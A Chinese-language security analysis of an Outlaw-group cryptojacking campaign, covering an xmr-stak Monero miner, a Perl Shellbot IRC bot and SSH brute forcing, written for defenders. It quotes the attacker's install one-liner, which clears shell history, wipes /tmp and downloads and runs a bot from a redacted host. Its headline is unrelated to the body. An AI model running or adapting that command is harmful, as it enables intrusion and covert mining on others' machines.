【原標(biāo)題:黃金礦工貨幣或?qū)r(shí)代終結(jié) 形態(tài)決定未來(lái)價(jià)格走勢(shì)】財(cái)金網(wǎng)消息 2009年,比特幣橫空出世。得益于去中心化的貨幣機(jī)制,比特幣受到許多行業(yè)的青睞,其交易價(jià)格也是一路走高。由于比特幣的成功,許多基于區(qū)塊鏈技術(shù)的數(shù)字貨幣紛紛問(wèn)世,例如以太幣,門(mén)羅幣,萊特幣等。
這類數(shù)字貨幣并非由特定的貨幣發(fā)行機(jī)構(gòu)發(fā)行,而是依據(jù)特定算法通過(guò)大量運(yùn)算所得。而完成大量運(yùn)算的工具就是挖礦機(jī)程序。
power by | 京東云安全能力與服務(wù)團(tuán)隊(duì)
圖片來(lái)源:BBC NEWS
挖礦機(jī)程序運(yùn)用計(jì)算機(jī)強(qiáng)大的運(yùn)算力進(jìn)行大量運(yùn)算,由此獲取數(shù)字貨幣。由于硬件性能的限制,數(shù)字貨幣玩家需要大量計(jì)算機(jī)進(jìn)行運(yùn)算以獲得一定數(shù)量的數(shù)字貨幣,因此,一些不法分子通過(guò)各種手段將挖礦機(jī)程序植入受害者的計(jì)算機(jī)中,利用受害者計(jì)算機(jī)的運(yùn)算力進(jìn)行挖礦,從而獲取利益。入侵者只需要準(zhǔn)備主服務(wù)器,即master服務(wù)器,將獲得服務(wù)器管理員權(quán)限以后的被入侵服務(wù)器轉(zhuǎn)化為從屬服務(wù)器,這樣就形成了一個(gè)具有超大計(jì)算能力的分布式挖礦集群,大大提高了他的收益。這類在用戶不知情的情況下植入用戶計(jì)算機(jī)進(jìn)行挖礦的挖礦機(jī)程序稱為挖礦木馬。
挖礦木馬最早出現(xiàn)于2013年,2017年開(kāi)始大量傳播。挖礦木馬傳播者瘋狂入侵企業(yè)網(wǎng)絡(luò),利用企業(yè)IT資源實(shí)現(xiàn)零成本挖礦。而暗網(wǎng)平臺(tái)大量存在的非法交易,更是數(shù)字加密幣持續(xù)火爆的土壤。根據(jù)“卡巴斯基2018年度安全公告”中可以看出,挖礦木馬已經(jīng)成為服務(wù)器遭遇的最嚴(yán)重的安全威脅之一。
圖片來(lái)源
Kaspersky Security Bulletin 2018. Story of the year: miners
為了更好地讓大家了解如何防范“挖礦木馬”,今天我們給大家整理了一個(gè)典型的排查“挖礦木馬”入侵的流程分析。
背景
發(fā)現(xiàn)近期云中部分主機(jī)出現(xiàn)挖礦行為,對(duì)發(fā)現(xiàn)的礦機(jī)及感染過(guò)程做出分析,此礦機(jī)目前比較活躍,同時(shí)腳本應(yīng)該在持續(xù)更新中,并在互聯(lián)網(wǎng)中進(jìn)行持續(xù)活躍的感染,使用的是Outlaw組織的工具,懷疑此惡意感染礦機(jī)程序非個(gè)人行為為組織性行為,并試圖隱藏真正身份。
攻擊矢量分析
01
感染過(guò)程
1 . C2服務(wù)器通過(guò)得到的用戶名與密碼登錄受害云主機(jī);
2 . 受害云主機(jī)從C2服務(wù)器遠(yuǎn)端下載perl腳本;
3 . 受害云主機(jī)安裝perl惡意程序與C2進(jìn)行持久化通信;
4 . 通過(guò)IRC通信下載相關(guān)礦機(jī)程序及爆破程序并進(jìn)行啟動(dòng)運(yùn)行;
5 . 受害云主機(jī)根據(jù)下載的ip地址和密碼表對(duì)云內(nèi)部及外部主機(jī)進(jìn)行暴力破解;
6 . 如果破解成功返回ip及口令結(jié)果;
7 . 通過(guò)IRC通信將ip及口令返回給C2服務(wù)器;
8 . 重復(fù)1~7過(guò)程進(jìn)行多實(shí)例的感染。
02
感染過(guò)程相關(guān)使用樣本
Hello: 遠(yuǎn)端C2服務(wù)器到本地運(yùn)行測(cè)試,判斷環(huán)境是否符合運(yùn)行條件
Rsync/t:perl可執(zhí)文件,執(zhí)行成功后與C2服務(wù)器建立IRC通信
Abc: 主運(yùn)行shell腳本,自動(dòng)化下載、安裝并啟動(dòng)所有程序
Dota.tar.gz:包含礦機(jī)、爆破和IRC通信程序的整體壓縮包
Lan.sh: 啟動(dòng)迷你程序(單獨(dú)的礦機(jī)壓縮包和單獨(dú)的爆破程序壓縮包)的shell腳本,自動(dòng)化下載、安裝運(yùn)行
Sslm.tar.gz:包含下載礦機(jī)執(zhí)行腳本及爆破程序執(zhí)行的腳本和爆破程序文件
Minloc.sh:礦機(jī)下載及運(yùn)行的腳本
Ml.tar.gz:礦機(jī)運(yùn)行程序壓縮包
03
程序執(zhí)行過(guò)程
受害主機(jī)自動(dòng)化安裝流程圖
完整程序運(yùn)行流程圖
系統(tǒng)進(jìn)程
輕量級(jí)安裝程序運(yùn)行流程圖
完整惡意程序分析
01
文件結(jié)構(gòu)
包括3個(gè)部分:
a:XMR挖礦程序
b:IRC與C2通信
c:SSH爆破程序
02
惡意程序執(zhí)行過(guò)程分析
XMR挖礦程序分析
1、礦機(jī)簡(jiǎn)介:
使用的開(kāi)源xmr-stak礦機(jī),一個(gè)高度可配置的Monero(XMR)礦機(jī)。
Git上開(kāi)源地址:https://github.com/fireice-uk/xmr-stak
2、安裝過(guò)程:
通過(guò)從C2服務(wù)器中下載shell腳本執(zhí)行,進(jìn)行礦機(jī)下載和運(yùn)行,此礦機(jī)已經(jīng)是編譯完成的二進(jìn)制文件,直接可以在對(duì)應(yīng)的系統(tǒng)中運(yùn)行,無(wú)需安裝編譯環(huán)境及依賴。
Abc執(zhí)行腳本中關(guān)于礦機(jī)部分:
下載解壓后,執(zhí)行init2腳本:運(yùn)行a目錄下a腳本,同時(shí)添加定時(shí)任務(wù)。
a目錄下a腳本:生成upd腳本,賦予權(quán)限,執(zhí)行upd腳本
Run腳本:使用下載的依賴lib庫(kù),按照系統(tǒng)位數(shù)運(yùn)行對(duì)應(yīng)的礦機(jī)可執(zhí)行文件,此處文件名設(shè)置為了混淆和隱藏自身運(yùn)行進(jìn)程。
03
礦池分析
由于此礦機(jī)具有高可配置性,所以礦機(jī)加載自行下載下來(lái)的配置文件config.txt與pools.txt
根據(jù)pools.txt文件,發(fā)現(xiàn)礦池地址和錢包地址:
進(jìn)一步確認(rèn)表明池地址目前已關(guān)閉,公共池和哈希值沒(méi)有更多信息站點(diǎn)。
此池配置指向荷蘭的VPS提供商(服務(wù)器名稱server12.offensiveservers.com,路由到AS50673 SERVERIUS - AS(NL))。VPS的被動(dòng)DNS數(shù)據(jù)顯示它托管了許多域,看起來(lái)主機(jī)像是一個(gè)游戲服務(wù)器主機(jī)。懷疑這些活動(dòng)參與者可能已經(jīng)在這個(gè)提供商建立他們自己私有的礦業(yè)池基礎(chǔ)設(shè)施。
IRC與C2通信分析
通過(guò)安裝使用perl語(yǔ)言的rsync或t可執(zhí)行文件與C2服務(wù)器進(jìn)行通信,目前的感染樣本全部為黑客組織Outlaw使用的基于Perl Shellbot構(gòu)建的IRC bot的變種。
01
安裝過(guò)程
unset HISTFILE && rm -rf /tmp/t* && cd /tmp && wget -q x.x.x.x/t && chmod +x && perl t
或unset HISTFILE && rm -rf /tmp/* && cd /tmp && wget -q x.x.x.x/rsync && chmod +x && perl rsync
02
樣本分析
樣本采用了perl的代碼(916行)混淆方式,通過(guò)Uuencode進(jìn)行簡(jiǎn)單的編碼混淆,目的主要為了避開(kāi)特征檢測(cè)等反病毒設(shè)備及監(jiān)控設(shè)備
原始樣本:
perl反混淆后,主要進(jìn)行通信的函數(shù):
03
執(zhí)行過(guò)程
1、連接C2服務(wù)器:到C2的連接嘗試在感染后就出現(xiàn)了,并且是持續(xù)的。如果連接斷開(kāi),就重新連接:
2、感染后的TCP通信流:
通信流量說(shuō)明惡意軟件會(huì)加入僵尸機(jī)的IRC信道,并分配給昵稱和服務(wù)器配置信息。修改DNS設(shè)置能夠確認(rèn)有真實(shí)的攻擊目標(biāo)參與其中。然后用PING/PONG通信來(lái)保持通信信道開(kāi)啟。IRC服務(wù)器會(huì)發(fā)送PING消息,需要PONG消息響應(yīng)來(lái)預(yù)防連接斷開(kāi)。
3、后續(xù)動(dòng)作:
在目標(biāo)系統(tǒng)上運(yùn)行后,IRC信道的管理員會(huì)發(fā)送不同的命令給被感染的主機(jī)。列表中含有執(zhí)行端口掃描、DDOS、文件下載、信息獲取、發(fā)送操作系統(tǒng)信息和運(yùn)行進(jìn)程列表的命令。
IRC相關(guān)的函數(shù)使用了join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, die等。
SSH爆破分析
01
啟動(dòng)爆破流程
Start ? Aptitude ? run ? go ? tsm ? finish
02
Start執(zhí)行腳本
指定路徑和將shell腳本輸出到指定文件運(yùn)行
03
Aptitude執(zhí)行腳本
切換到c目錄下執(zhí)行run腳本
04
Run執(zhí)行腳本
先停掉已經(jīng)運(yùn)行腳本,隨機(jī)時(shí)間執(zhí)行g(shù)o腳本
05
go執(zhí)行腳本
首先清理已有文件,然后通過(guò)隨機(jī)數(shù)進(jìn)行判斷去服務(wù)器獲取爆破使用的a(ip地址列表)和b(密碼列表),使用隨機(jī)數(shù)方式主要還是為了逃避一些檢測(cè)和監(jiān)控,下載完畢后重命名為ip和p,最后執(zhí)行tsm爆破程序使用密碼列表對(duì)ip地址列表進(jìn)行爆破,90分鐘超時(shí),如果未正常執(zhí)行完畢將強(qiáng)制KILL程序,刪除所有相關(guān)文件。
06
TSM程序
使用的是Outlaw組織之前使用過(guò)的haiduc工具。haiduc工具集變種用來(lái)暴力破解運(yùn)行SSH服務(wù)的有漏洞的主機(jī)。
包含在32位與64位上分別能運(yùn)行的二進(jìn)制程序,同時(shí)帶有供其使用的lib的so庫(kù),保證程序的正常運(yùn)行。